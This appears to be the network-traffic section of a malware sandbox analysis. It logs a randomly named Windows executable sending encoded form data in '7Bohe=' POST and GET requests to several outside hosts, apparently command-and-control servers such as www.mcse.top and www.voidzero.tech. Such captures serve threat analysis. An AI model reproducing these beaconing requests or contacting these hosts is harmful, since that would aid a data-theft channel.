Oct 24, 2024 15:19:28.733386993 CEST	1236	IN	Data Raw: 66 6c 6f 6f 72 28 28 72 2d 66 29 2f 70 29 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 66 6c 6f 77 28 31 29 22 29 3b 69 66 28 66 2b 3d 73 2a 70 2c 73 3c 28 43 3d 67 3c 3d 69 3f 31 3a 69 2b 32 36 Data Ascii: floor((r-f)/p))throw RangeError("punycode_overflow(1)");if(f+=sp,s<(C=g<=i?1:i+26<=g?26:g-i))break;if(p>Math.floor(r/(o-C)))throw RangeError("punycode_overflow(2)");p=o-C}if(i=n(f-l,h=m.length+1,0===l),Math.floor(f/h)>r-a)throw RangeError("p
Oct 24, 2024 15:19:28.733715057 CEST	488	IN	Data Raw: 7d 2b 2b 66 2c 2b 2b 68 7d 72 65 74 75 72 6e 20 79 2e 6a 6f 69 6e 28 22 22 29 7d 2c 74 68 69 73 2e 54 6f 41 53 43 49 49 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 6f 72 28 76 61 72 20 72 3d 6f 2e 73 70 6c 69 74 28 22 2e 22 29 2c 65 3d 5b 5d 2c 6e Data Ascii: }++f,++h}return y.join("")},this.ToASCII=function(o){for(var r=o.split("."),e=[],n=0;n<r.length;++n){var t=r[n];e.push(t.match(/[^A-Za-z0-9-]/)?"xn--"+punycode.encode(t):t)}return e.join(".")},this.ToUnicode=function(o){for(var r=o.split("."),
Oct 24, 2024 15:19:28.733725071 CEST	488	IN	Data Raw: 7d 2b 2b 66 2c 2b 2b 68 7d 72 65 74 75 72 6e 20 79 2e 6a 6f 69 6e 28 22 22 29 7d 2c 74 68 69 73 2e 54 6f 41 53 43 49 49 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 6f 72 28 76 61 72 20 72 3d 6f 2e 73 70 6c 69 74 28 22 2e 22 29 2c 65 3d 5b 5d 2c 6e Data Ascii: }++f,++h}return y.join("")},this.ToASCII=function(o){for(var r=o.split("."),e=[],n=0;n<r.length;++n){var t=r[n];e.push(t.match(/[^A-Za-z0-9-]/)?"xn--"+punycode.encode(t):t)}return e.join(".")},this.ToUnicode=function(o){for(var r=o.split("."),
Oct 24, 2024 15:19:28.984857082 CEST	1236	IN	HTTP/1.1 200 OK Server: hcdn Date: Thu, 24 Oct 2024 13:19:28 GMT Content-Type: text/html Content-Length: 10072 Connection: close Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 7ca042d3e2b5c540dd4446897761e89f-int-edge1 Expires: Thu, 24 Oct 2024 13:19:27 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50011	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:34.029742956 CEST	743	OUT	POST /4nqw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.bandukchi.com Origin: http://www.bandukchi.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.bandukchi.com/4nqw/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 65 4f 51 51 6c 2f 65 41 44 57 54 32 4f 78 2b 4a 38 30 42 74 32 78 64 73 6d 35 67 6f 48 46 63 6a 7a 2b 58 54 78 2f 4c 4e 51 37 33 35 44 78 46 72 39 52 55 78 45 63 4a 63 63 39 35 63 38 6b 6e 6e 4b 64 55 54 4b 44 42 2f 43 39 58 4b 79 67 34 53 47 50 79 77 5a 4b 6b 6f 41 37 36 37 35 52 46 63 72 66 72 67 4a 68 63 44 51 70 41 2b 73 78 6c 71 39 2f 70 43 59 31 41 75 6d 34 47 78 64 34 64 74 55 73 5a 6a 6f 63 51 2f 39 38 53 50 48 53 53 61 79 5a 64 4b 5a 6a 30 57 6d 70 74 6e 68 72 4e 72 73 64 41 76 56 55 4f 31 36 2b 2b 78 68 42 53 68 46 79 33 6f 51 4d 79 4d 4d 45 47 55 45 61 42 39 43 48 56 57 68 47 51 3d Data Ascii: 7Bohe=eOQQl/eADWT2Ox+J80Bt2xdsm5goHFcjz+XTx/LNQ735DxFr9RUxEcJcc95c8knnKdUTKDB/C9XKyg4SGPywZKkoA7675RFcrfrgJhcDQpA+sxlq9/pCY1Aum4Gxd4dtUsZjocQ/98SPHSSayZdKZj0WmptnhrNrsdAvVUO16++xhBShFy3oQMyMMEGUEaB9CHVWhGQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50012	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:36.579447031 CEST	763	OUT	POST /4nqw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.bandukchi.com Origin: http://www.bandukchi.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.bandukchi.com/4nqw/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 65 4f 51 51 6c 2f 65 41 44 57 54 32 50 52 75 4a 2b 58 70 74 6e 42 64 72 71 5a 67 6f 4d 6c 63 6e 7a 2b 62 54 78 36 7a 6a 54 4e 50 35 43 56 42 72 38 51 55 78 44 63 4a 63 54 64 35 56 78 45 6e 77 4b 64 49 74 4b 47 68 2f 43 39 54 4b 79 69 77 53 47 39 61 78 62 61 6b 71 5a 72 36 35 6e 68 46 63 72 66 72 67 4a 68 5a 75 51 70 34 2b 74 41 56 71 38 64 42 42 57 56 41 74 68 34 47 78 58 59 64 70 55 73 59 4f 6f 5a 78 6f 39 36 57 50 48 51 4b 61 7a 4e 42 4a 54 6a 31 54 37 35 74 78 6b 5a 73 47 70 4d 30 56 65 57 44 4c 36 59 71 34 70 58 2f 4c 66 51 2f 41 44 73 65 30 63 58 4f 6a 56 71 67 55 59 6b 46 6d 2f 52 45 39 57 59 55 45 75 74 71 37 64 37 4a 33 4a 32 69 54 77 4e 58 67 Data Ascii: 7Bohe=eOQQl/eADWT2PRuJ+XptnBdrqZgoMlcnz+bTx6zjTNP5CVBr8QUxDcJcTd5VxEnwKdItKGh/C9TKyiwSG9axbakqZr65nhFcrfrgJhZuQp4+tAVq8dBBWVAth4GxXYdpUsYOoZxo96WPHQKazNBJTj1T75txkZsGpM0VeWDL6Yq4pX/LfQ/ADse0cXOjVqgUYkFm/RE9WYUEutq7d7J3J2iTwNXg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50013	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:40.036957979 CEST	1780	OUT	POST /4nqw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.bandukchi.com Origin: http://www.bandukchi.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.bandukchi.com/4nqw/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 65 4f 51 51 6c 2f 65 41 44 57 54 32 50 52 75 4a 2b 58 70 74 6e 42 64 72 71 5a 67 6f 4d 6c 63 6e 7a 2b 62 54 78 36 7a 6a 54 4f 76 35 44 6d 4a 72 39 7a 4d 78 43 63 4a 63 61 39 35 59 78 45 6e 78 4b 64 42 71 4b 47 39 46 43 37 50 4b 39 6e 38 53 41 4a 4f 78 52 61 6b 71 45 37 36 30 35 52 46 73 72 66 37 38 4a 68 70 75 51 70 34 2b 74 43 4e 71 34 50 70 42 62 31 41 75 6d 34 47 39 64 34 63 2b 55 73 78 37 6f 5a 39 34 39 70 65 50 45 7a 79 61 2b 65 70 4a 66 6a 31 64 6f 4a 73 79 6b 5a 67 46 70 4d 5a 75 65 54 2f 78 36 66 65 34 36 7a 32 70 48 55 2f 2f 59 36 54 55 66 6e 37 50 4e 76 38 6b 53 6c 46 30 6a 6a 41 68 57 70 73 55 6b 37 4b 6c 49 4b 51 41 4b 58 62 63 68 37 2f 76 53 6a 52 41 47 4a 66 2b 65 45 72 6d 49 50 41 43 67 7a 64 78 47 5a 5a 65 7a 32 30 61 36 76 4d 44 79 48 4a 78 73 54 52 4f 4e 38 57 72 50 65 35 5a 33 55 4b 79 54 62 30 57 56 66 2f 77 43 63 63 72 43 66 33 78 70 31 42 32 51 4e 45 2f 4c 61 2b 66 30 37 72 35 38 4f 6f 4f 4a 70 53 38 54 58 67 44 76 75 6e 67 77 4d 6f 56 37 61 65 56 56 36 61 68 [TRUNCATED] Data Ascii: 7Bohe=eOQQl/eADWT2PRuJ+XptnBdrqZgoMlcnz+bTx6zjTOv5DmJr9zMxCcJca95YxEnxKdBqKG9FC7PK9n8SAJOxRakqE7605RFsrf78JhpuQp4+tCNq4PpBb1Aum4G9d4c+Usx7oZ949pePEzya+epJfj1doJsykZgFpMZueT/x6fe46z2pHU//Y6TUfn7PNv8kSlF0jjAhWpsUk7KlIKQAKXbch7/vSjRAGJf+eErmIPACgzdxGZZez20a6vMDyHJxsTRON8WrPe5Z3UKyTb0WVf/wCccrCf3xp1B2QNE/La+f07r58OoOJpS8TXgDvungwMoV7aeVV6ah+OGwmfZGq6S7VLyxqOGfWXyZGd+Oz0WSLTURRpSTyn2yIKrOZWSL1rMfQqgfkTPj1Dar3IBKj8p8Ev0YRMsK5WdlMe32tWq/m4CTIBLm/pc6rXJ9ga/d5BeChq9O5MM6qxH7aZTZgLtwMqF3/J/djgBSIPvm3O9u4bTi57+ytRKm8ppBHMLJ4R/sAqvbR74Hsi6MqqKhSxTBnreS+w3vsjbg3g/P/MZSWZlg7CXO9pEuEnmlfQ0u2jFXEwe1J+kGpf+O9SUhmFOPqS04XidE3ELquYLUtBbgnRwOw9nJF98TaeZWwC7mpXYYgGBxsvMpv7Zq+nR8tI1MLLyugQ1MtUg5QE4T/YOlaROcEvEwWIkBnkAYHR19A8bgSyCmAdS5YL3T5xJCTo2+Ods7XBUym173ZO473xJKDZwy9ycRBbp2xrVK8Nm9uX9joAWl18ke1vQoXQgWbsc3tfs9ozjaXN1xoMpclqEDS3eiaxwI94Yw7RyQjOA7x5I5s3RilXfG9Q/2Zn/IlymUmEnZ2HhIRpU1o62u2tyn+wriOV2jqqkkNzbspulFx2Tlw56C+PRrmhrpMbEosL79/btHvn+HZzIynLQFErTPs9p5HWP2P8buFoncdIjVETXefVkTUkhZOcCmDfTtL+NRCP3K18tYjaf/dEJFU+PIjo [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50014	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:42.567866087 CEST	483	OUT	GET /4nqw/?7Bohe=TM4wmIiUDmnTKniklQ90uhNUhJ9wAlE9nf/Yl9jXXOP3K1JO7ypWLJJbcPRG/mn1E4sifjVCDcv63SEcY+fHR48yBI63+DhGjujcAAYsRe1/gzF87OhGQiowvZSxcJ02Hg==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.bandukchi.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:19:43.190896988 CEST	403	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 24 Oct 2024 13:19:43 GMT Content-Type: text/html Content-Length: 263 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 37 42 6f 68 65 3d 54 4d 34 77 6d 49 69 55 44 6d 6e 54 4b 6e 69 6b 6c 51 39 30 75 68 4e 55 68 4a 39 77 41 6c 45 39 6e 66 2f 59 6c 39 6a 58 58 4f 50 33 4b 31 4a 4f 37 79 70 57 4c 4a 4a 62 63 50 52 47 2f 6d 6e 31 45 34 73 69 66 6a 56 43 44 63 76 36 33 53 45 63 59 2b 66 48 52 34 38 79 42 49 36 33 2b 44 68 47 6a 75 6a 63 41 41 59 73 52 65 31 2f 67 7a 46 38 37 4f 68 47 51 69 6f 77 76 5a 53 78 63 4a 30 32 48 67 3d 3d 26 76 44 3d 68 30 65 38 35 76 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?7Bohe=TM4wmIiUDmnTKniklQ90uhNUhJ9wAlE9nf/Yl9jXXOP3K1JO7ypWLJJbcPRG/mn1E4sifjVCDcv63SEcY+fHR48yBI63+DhGjujcAAYsRe1/gzF87OhGQiowvZSxcJ02Hg==&vD=h0e85v"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50015	154.9.228.56	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:49.000989914 CEST	728	OUT	POST /djad/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.mcse.top Origin: http://www.mcse.top Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.mcse.top/djad/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 44 69 70 6f 61 32 61 4b 44 56 73 58 6b 57 58 7a 7a 39 54 30 43 6e 76 6d 62 30 77 6a 70 7a 49 2f 56 37 78 48 68 63 55 6a 71 73 79 69 6f 54 75 50 6d 63 4a 2b 46 49 59 46 61 56 49 61 4c 49 77 6e 76 42 76 73 6f 68 56 37 59 68 78 35 56 7a 5a 31 7a 73 6c 73 44 68 35 73 45 4c 6b 72 32 70 37 44 69 2b 48 44 76 6c 35 71 58 33 73 41 63 35 62 55 53 6b 72 6e 65 55 70 4c 5a 4c 55 77 73 46 34 77 77 36 59 54 69 66 57 6a 6b 75 6e 36 74 33 58 4d 4d 49 5a 4a 6f 36 67 75 59 6a 33 75 4f 4e 70 6c 4b 6d 30 7a 69 53 6a 68 78 33 2b 6a 56 56 50 66 56 42 36 6d 4a 77 4c 79 62 39 6e 68 78 6a 37 4d 6c 38 72 56 74 5a 4d 3d Data Ascii: 7Bohe=Dipoa2aKDVsXkWXzz9T0Cnvmb0wjpzI/V7xHhcUjqsyioTuPmcJ+FIYFaVIaLIwnvBvsohV7Yhx5VzZ1zslsDh5sELkr2p7Di+HDvl5qX3sAc5bUSkrneUpLZLUwsF4ww6YTifWjkun6t3XMMIZJo6guYj3uONplKm0ziSjhx3+jVVPfVB6mJwLyb9nhxj7Ml8rVtZM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50016	154.9.228.56	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:51.651341915 CEST	748	OUT	POST /djad/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.mcse.top Origin: http://www.mcse.top Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.mcse.top/djad/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 44 69 70 6f 61 32 61 4b 44 56 73 58 6c 32 4c 7a 32 65 4c 30 41 48 76 6e 56 55 77 6a 6d 54 49 37 56 37 74 48 68 64 51 7a 74 61 61 69 6f 78 32 50 6e 66 52 2b 47 49 59 46 52 31 49 62 49 34 78 72 76 42 54 43 6f 68 5a 37 59 68 6c 35 56 7a 70 31 77 66 4e 72 44 78 34 4b 4d 72 6b 70 34 4a 37 44 69 2b 48 44 76 6c 63 4e 58 33 6b 41 64 49 4c 55 52 42 48 67 51 30 70 4d 4f 37 55 77 6d 6c 34 38 77 36 59 68 69 65 4c 4d 6b 6f 6a 36 74 32 6e 4d 4e 5a 5a 49 78 4b 67 33 55 7a 32 4f 46 59 4e 73 50 56 59 38 68 79 6d 79 79 31 4c 65 51 6a 69 31 50 6a 79 4f 61 51 6e 4b 4c 75 76 57 67 54 61 6c 2f 66 37 6c 7a 4f 61 55 37 31 70 43 59 75 6a 51 62 68 42 6b 4e 38 77 41 67 77 79 44 Data Ascii: 7Bohe=Dipoa2aKDVsXl2Lz2eL0AHvnVUwjmTI7V7tHhdQztaaiox2PnfR+GIYFR1IbI4xrvBTCohZ7Yhl5Vzp1wfNrDx4KMrkp4J7Di+HDvlcNX3kAdILURBHgQ0pMO7Uwml48w6YhieLMkoj6t2nMNZZIxKg3Uz2OFYNsPVY8hymyy1LeQji1PjyOaQnKLuvWgTal/f7lzOaU71pCYujQbhBkN8wAgwyD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50017	154.9.228.56	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:54.267066002 CEST	1765	OUT	POST /djad/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.mcse.top Origin: http://www.mcse.top Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.mcse.top/djad/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 44 69 70 6f 61 32 61 4b 44 56 73 58 6c 32 4c 7a 32 65 4c 30 41 48 76 6e 56 55 77 6a 6d 54 49 37 56 37 74 48 68 64 51 7a 74 61 69 69 72 45 69 50 6d 2f 74 2b 48 49 59 46 59 56 49 47 49 34 77 78 76 46 2f 4f 6f 68 6c 72 59 69 64 35 57 51 68 31 34 4f 4e 72 49 78 34 4b 41 4c 6b 71 32 70 37 7a 69 36 62 50 76 6c 4d 4e 58 33 6b 41 64 4b 6a 55 46 6b 72 67 64 55 70 4c 5a 4c 55 30 73 46 35 72 77 37 39 55 69 65 65 7a 6b 5a 66 36 74 57 33 4d 41 4c 68 49 75 36 67 31 58 7a 32 73 46 59 49 30 50 56 45 47 68 78 37 70 79 32 62 65 52 55 44 52 66 33 79 71 4d 69 62 74 59 5a 6e 36 68 6e 48 46 32 65 72 76 75 50 79 32 30 57 59 68 65 34 6a 68 52 67 6c 78 4a 37 34 37 6c 57 6a 5a 6a 72 59 36 5a 46 76 49 70 45 4d 77 56 77 63 42 70 6d 32 64 66 58 57 4d 36 7a 54 35 55 50 43 64 76 77 45 71 50 32 76 62 41 43 6b 32 34 46 4a 43 67 33 78 59 35 6a 4e 66 73 38 53 54 6c 6f 35 36 37 56 6a 51 74 48 4d 49 76 4e 66 52 65 4e 4e 77 67 6c 6f 78 6d 33 4f 53 69 41 7a 4f 5a 38 45 64 30 66 4f 61 62 54 38 66 6c 58 50 74 6a 69 72 62 [TRUNCATED] Data Ascii: 7Bohe=Dipoa2aKDVsXl2Lz2eL0AHvnVUwjmTI7V7tHhdQztaiirEiPm/t+HIYFYVIGI4wxvF/OohlrYid5WQh14ONrIx4KALkq2p7zi6bPvlMNX3kAdKjUFkrgdUpLZLU0sF5rw79UieezkZf6tW3MALhIu6g1Xz2sFYI0PVEGhx7py2beRUDRf3yqMibtYZn6hnHF2ervuPy20WYhe4jhRglxJ747lWjZjrY6ZFvIpEMwVwcBpm2dfXWM6zT5UPCdvwEqP2vbACk24FJCg3xY5jNfs8STlo567VjQtHMIvNfReNNwgloxm3OSiAzOZ8Ed0fOabT8flXPtjirbs2FAOT+sj9Y7NVEz5rG3M6lAK2CvZL2MmRaXYVI4Fvtq9CYxCcblnjH9wZ9bXRrTBKBLLMra2Qcp04p1HBWKCrtjit/hVkt5wa+GGrKNwv3qB4PXvKVNJgOtUacNDj9unwVaxuL712K/V0FMzfjmN1AdO+7pR/VjnGD9T71avzuJ7birwOxQ0sovjJV2K0X9cn6Shp2eAWzc1dwT+AxTDdVZZR4TsNXxQiuv26i6PTbVV5FT6YED9kJ0Yp6aPX2cBBksrXsqXAHtUoY2olIY+prtigC78L513Ju/L/Z9wlJ5kORuc5JSUsCNNJpKVfUNyRNg0Bv7izcj650RrC6P+SsJcG1C5X7TFnoN+BKNJd2yG9bT+km9DTOcbh8CKsRlnjQBye/Gym3PW4sIbBv5FsrR4iiBr+VBFIs0nkSrzxGkO8fbrN5nJVN1n6iJx8b+L0P7W5B0eXRIiC7lGNPJUwIISS4MsogFDRF7ItwiXdTwzJ0K4GUmsCdkkqhYWgtmRV4/6HmBLmEJuxuskseY3wESIHbWPKcK2E0f0sGTWoX0pFBgu2J4JzsHDshmeW0IETZ6hXxC361v8zW+g7DlH3XDs2540KrY58Gj4sG3GChuGVckmGynzSVK9OOzILkWJkf7/UqgTFfHb5/3R3ZxpQQIPQ3nT+jCuZ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50018	154.9.228.56	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:56.823652983 CEST	478	OUT	GET /djad/?7Bohe=OgBIZAb3K3QVmDSyooTSIAO5Tll+jwwdUI93t9cTrZTAkguQuNIIHt4CXXwiEPUK7V7i0FBLQRxFESBesMpHDzV+LIhV5qbZyNO4rVJKeHZqQ73AKCfxWCZcLIU2txA0ig==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.mcse.top Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50019	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:03.357672930 CEST	743	OUT	POST /2vbz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.voidzero.tech Origin: http://www.voidzero.tech Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.voidzero.tech/2vbz/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 6e 6e 6f 35 56 6e 7a 70 70 72 35 4d 44 2b 5a 6d 4a 6b 53 35 75 53 4b 68 73 7a 76 6d 47 70 63 2b 7a 39 61 32 42 59 4e 66 62 43 69 68 66 4b 50 52 64 75 42 75 65 57 6f 72 43 61 75 74 47 55 69 34 70 37 65 67 46 49 43 4a 57 66 62 4e 57 4a 35 61 35 41 71 52 54 2b 38 61 55 35 2b 71 32 4a 6d 4d 31 30 6a 68 50 34 75 71 2b 71 58 41 59 4d 7a 62 33 59 7a 68 6d 47 55 58 53 38 7a 5a 51 48 56 59 47 44 52 30 50 58 4a 4d 6b 36 44 53 55 59 7a 49 50 30 45 70 6d 6d 66 7a 68 67 67 59 78 6f 47 37 41 4a 61 69 39 63 72 34 31 6d 2f 62 44 6b 56 69 6e 43 6b 5a 74 67 39 63 30 70 49 6a 78 58 70 33 63 72 57 63 78 37 63 3d Data Ascii: 7Bohe=nno5Vnzppr5MD+ZmJkS5uSKhszvmGpc+z9a2BYNfbCihfKPRduBueWorCautGUi4p7egFICJWfbNWJ5a5AqRT+8aU5+q2JmM10jhP4uq+qXAYMzb3YzhmGUXS8zZQHVYGDR0PXJMk6DSUYzIP0EpmmfzhggYxoG7AJai9cr41m/bDkVinCkZtg9c0pIjxXp3crWcx7c=

